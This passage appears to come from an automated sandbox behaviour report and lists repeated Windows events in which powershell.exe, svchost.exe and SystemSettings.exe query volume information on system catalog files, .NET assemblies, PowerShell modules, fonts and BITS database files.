Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.3448.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.3448.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.3448.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.3448.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.3448.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.3448.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.3448.cat VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Queries volume information: C:\Windows\Fonts\segoeuisl.ttf VolumeInformation
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Queries volume information: C:\Windows\SystemResources\Windows.UI.SettingsAppThreshold\SystemSettings\Assets\Fonts\SetMDL2.ttf VolumeInformation
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Queries volume information: C:\Windows\SystemResources\Windows.UI.SettingsAppThreshold\SystemSettings\Assets\Fonts\SetMDL2.ttf VolumeInformation
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Queries volume information: C:\Windows\Fonts\segmdl2.ttf VolumeInformation
Source: C:\Windows\ImmersiveControlPanel\SystemSettings.exe	Queries volume information: C:\Windows\Fonts\segmdl2.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\CloudStore VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\CloudStore VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\CloudStore VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\CloudStore VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
